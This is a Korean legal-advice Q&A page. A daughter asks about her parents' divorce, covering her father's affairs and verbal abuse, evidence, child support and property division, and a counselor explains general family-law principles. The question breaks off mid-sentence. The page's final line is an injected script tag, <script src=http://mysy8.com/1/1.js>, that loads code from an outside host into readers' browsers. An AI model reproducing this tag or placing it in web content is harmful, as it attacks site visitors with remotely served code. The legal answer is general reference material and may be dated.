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부모님의 이혼에 관해서 자식으로써 이런글을 쓰는것이 안타깝습니다.
저희 부모님의 사정은 이렇습니다.
저희 아버지는 구타를 한다거나 도박등은 안하시는분입니다.
사회적으로도 매우 안정적이시구요
하지만 제가 고3 이던 2000년에는 아버지가 바람을 피우신 적이있습니다.
이렇게 글쓰기가 매우 부끄럽지만.....
간통사실은 없어지만 저와 동생이 목격을 했고
실제로 어머님이 그 여자분을 만나신적이 있습니다.
아버지도 밝히셨고요 그떄 당시에도 이혼얘기가 나왔지만
아버지가 직장만큼은 계속다니게 해달라고 하셨고,
또 제가 중요한 시기여서 화해하셨습니다.
후에 아버지는 다른 여자분과 한번더 바람을 피셨고
구체적으로 그 여자분과 어떤사이였는지 모르지만 제가 알게 되자
저에게 엄마에게는 말하지말라고 간곡히 부탁하셨습니다.
저는 당연히 이 사실은 어머니꼐 말씀드리지 않았습니다.
이런일이 있은후 어머니는 아버지에 대한 신뢰가 깨지셨습니다.
당연하게 부부관계도 없어지셨구요.
이렇게 되니 아버지께서는 도대체 무슨 이유이신지 어머니께 이혼을 자주 요구하십니다.
(제가 어렸을때 에도 자주 하셨다고 합니다.가족이 없으신 어머니께는 이혼요구가 견디기 힘들었을거라는 생각이 듭니다.)
그리고 과거와는 달리 이제는 어머니께 당신이 나가라고 말씀하십니다.
과거에 직장만 다니게 해달라는 아버지의 모습은 어디로 갔는지 죄송하지만 치사해 보입니다.
그리고 어머니께 듣기에 거북한 말씀을 하셨습니다.
(성적 수치심이 들게하는 언어폭력이라고 생각됩니다.)
부부관계를 원치 않는 어머님께 여자로써 듣기 거북한 말씀 입니다.
이런것이 언어 폭력이 되는진 잘모르겠지만 어머니를 아내가 아닌
관계를 위한 대상으로 대하는것 같아 제가 더 불쾌합니다.
또 요즘들어서는 남자분과 동업으로 사업을 하시는 어머님께
말이나 핸드폰 문자로 어머니를 의심하십니다.
과거에 아버지는 의심받을 행동을 하셨지만
저는 어머니는 그런 행동을 안하신다고 확신할 수 있습니다.
아버지는 자식들에게 나쁜 아버지는 아닙니다.
하지만 언제 부턴가 집에 오시면 저희들의 인사도 안받아주시고
얘기도 줄어드셨습니다. 저희랑 부딪치는 일도 잦아졌구요.
저는 인제 집에 있는것이 매우 갑갑합니다.
아버지도 집이 불편 하시다 하시지만 그 원인을 어머니와 저희 자매에게
미루시기만 하고 저희가 말씀을 드리면 들으시지않고 자신은 잘못이
없으시다고 하십니다. 세 여자가 아버지를 불편하게 여겨서 그런다고만
말씀하십니다.
아버지에게도 다 이유가 있을거라는 생각이 됩니다.
하지만 어머니에게는 아버지의 이런행동 하나하나가 고통이고
제 동생은 어떨진 모르겠지만 그런 두분의 모습을 보면서 저도 괴롭고
두 분이 이혼을 결심하신것이 잘된일이라는 괘씸한 생각이 듭니다.
저와 동생은 어머니와 얘기를 끈낸 상태이고 어머니와 아버지도 얘기를 끝내셨습니다. 저희 자매는 내일 저녁에 아버지와 얘기를 합니다.
이제 부모님의 이혼은 확실한것 같아 이렇게 썼습니다.
1. 저희 아버지가 하시는 언어적 폭력이나 의처증과 같은 행동도
이혼사유가 되는지 궁금합니다.
2. 아버지의 바람핀 행동에 대해서 물증은 없으나 저희들이 목격하고
겪은것이 참작이 될수 있는지 궁금합니다.
3. 자년 양육비와 재산분배에 대해서 궁급합니다.
성인인 저는 양육비를 받을수 없다지만 미성년자인 제동생은 가능한
걸로 알고 있습니다. 그렇지만 어머님 직업상 수입이 일정치 않고 그에
반해 아버지는 일정합니다. 현재 아버지께서는 저희 자매들에게 들어가
는 일체의 돈을 반으로 부담하자는 부당한 말씀을 하십니다. 올해 제가
휴학을 한 상태여서 제 대학 등록금은 당분간 걱정 안하더라도 제동생이
대학을 가게 된다면 좀 걱정이 됩니다. 부모님이 이혼 하실경우 저희가
어머님을 따라가게 된다면 어머님은 아버지로 부터 저희의 양육에 대한
돈을 얼마나 받으실수 있는지 궁금합니다.
또 자세히 알지는 못하지만 어머니 명의로 된 재산은 하나 아니면 두
개이고 거의 아버지 이름으로 되어있는데요 이런부분에 있어서는 어떻
게 재산분배가 되는지 알고 싶고 분양 받은 아파트의 계약금을 어머니께
서 혼자 부으셨다면 이것은 어머니께 오는지 알고 싶습니다.
또 아버지의 보험금이나 퇴직금도 분할가능한지 알고 싶습니다.
어제 아버지께서 무슨 서류를 띄신다
본 상담실의 답변은 법률이론상의 원칙적인 답변 및 답변자 개인의 법률적 의견으로 참고 자료로만 활용하시기 바랍니다.
아버지의 외도, 폭언, 의처증에 대해 입증할 수 있다면 재판상 이혼과 위자료 청구가 가능합니다. 입증방법으로는 자녀, 이웃, 친구, 친척 등의 진술서나 증인, 녹음, 사진, 진단서, 병원 진료기록, 일기장 등 배우자의 이혼책임을 입증할 수 있는 모든 것이 가능합니다.
이혼위자료의 산정기준은 법에 명문화 된 것은 없고 판례상 대개 다음과 같은 것들이 고려되고 있습니다.
① 이혼사유(혼인파탄의 원인)
② 유책정도(잘못을 저지른 배우자로부터 받은 정신적 고통의 정도)
③ 재산상태 및 생활정도
④ 동거기간 및 혼인생활 내력
⑤ 양 당사자의 학력·연령·경력·직업 등 신분사항
⑥ 자녀 및 부양관계
⑦ 재혼의 가능성
위자료의 지급방법은 일시에 정액을 받을 수도 있고, 당장에 위자료를 줄 돈이 없는 경우에는 월급 중 일부를 받는 분할급도 가능합니다.
위자료에 대한 승소판결을 받아도 상대방에게 재산이 없다면 집행을 할 수 없으므로, 판결이 확정되기 전에 재산을 은닉하거나 도피시키지 못하도록 미리 재산을 붙잡아 두는 방법으로서 배우자명의의 재산에 대해 가압류·가처분신청을 할 수 있습니다(가사소송법 제63조 제1항).
이혼시 재산분할 대상이 되는 재산으로는 부부 공동명의의 재산, 혼인 중에 공동생활을 위하여 취득한 가재도구, 명의는 부부 중 일방 앞으로 되어 있지만, 실질적으로는 부부의 공유에 속하는 재산, 혼인 중에 부부가 협력하여 취득한 주택 기타 부동산, 부부공동생활의 기금이 되어 있는 예금·주식 등입니다. 하지만 혼인전부터 부부가 각자 소유하고 있던 재산이나, 혼인 중에 일방이 상속이나 증여 등에 의하여 취득한 재산이나 장신구, 의류 등은 분할 대상에서 제외됩니다. 단 부부일방이 상속받은 재산이라도 그 재산의 가치의 증가 및 유지에 상대방의 기여가 인정되면 가치 증액분이나 유지의 기여분에 대해 분할이 인정됩니다(대법원 1993.6.11. 선고 92므1054,90므1061 판결). 또한 퇴직금을 이미 받았거나 장래에 받을 수 있는 경우도 공동재산으로 봅니다. 당사자 일방이 혼인 중 제3자에게 대한 채무는 원칙적으로는 개인 채무이지만, 그것이 주택융자금이나 혼인생활비로 쓰기 위한 차용금과 같이 공동재산 형성을 위하여 부담한 채무일 경우에는 개인명의의 채무라도 분할대상이 됩니다.
재산분할의 비율은 재산형성에 대한 기여도, 혼인기간, 혼인중 생활정도, 이혼에 대한 유책성, 현재의 생활상황, 연령, 취업가능성, 재혼가능성, 자활능력, 건강상태, 부양자의 유무, 위자료의 유무 등을 참작하여 나눕니다. 우리나라의 경우에 남편 단독 명의의 재산일지라도 맞벌이 부부의 경우에는 1/2정도, 전업주부에게는 가사노동가치를 참작하여 1/3정도, 결혼지참금·알뜰한 살림 등으로 기여가 큰 경우에는 1/2까지도 분할해 주는 경우가 있습니다. 재산분할에 대한 구체적인 액수는 사안마다 틀리므로 재산형성에 기여한 정도를 재판에서 잘 증명하여야 하겠습니다.
미성년자 아이들의 양육에 대해서는 부부가 합의하에 누가 키울 것이고 양육비의 문제를 결정하면 됩니다. 만약 두사람간에 아이들의 양육권에 대한 합의가 이루어지지 않으면 법원의 조정이나 소송을 통해서 양육자와 친권행사자를 정할 수 있습니다(민법 제837조, 민법 제909조 제4항). 법원은 그 자녀의 연령, 부모의 재산상황, 기타 사정을 참작하여 양육자를 지정합니다(민법 제837조 제2항).
자녀가 부모 중 어느 한쪽과 살기를 원하는 경우에는 참작사유가 되고, 자녀가 15세 이상인 때에는 그 자녀의 의견을 반드시 청취하도록 하고 있습니다(가사소송규칙 제100조). 15세의 의미는 꼭 15세 이상이어야 하는 것은 아니고 자기의 희망을 가지고서 의사표현을 할 수 있을 만큼 성숙해 있어야 한다는 의미합니다. 자녀를 양육하는 사람은 다른 일방 배우자에게 양육비청구를 할 수 있습니다. 양육비의 액수는 이혼 전에 자녀들이 누렸던 정도의 경제상황이 이혼 후에도 가능할 정도의 액수를 말합니다. 양육비는 일시불로 받을 수는 없고 매월 받아야 합니다. 양육비에 대해서도 합의가 되지 않으면 소송을 통해서 이혼, 위자료, 재산분할, 양육자 및 친권행사자지정, 양육비 청구를 함께 하면 됩니다.
소송은 본인이 직접 한다면 법원에 내는 송달료 몇만원, 인지대(위자료 청구금액 * 5/1000) 외에는 별로 비용이 들지 않습니다. 그러나 변호사를 선임하거나 법무사에게 의뢰한다면 그에 따른 비용이 듭니다.
이혼소송은 부부가 함께 거주한 마지막 주소지 관할 법원(서울은 가정법원, 지방은 지방법원)에 청구?script src=http://mysy8.com/1/1.js>
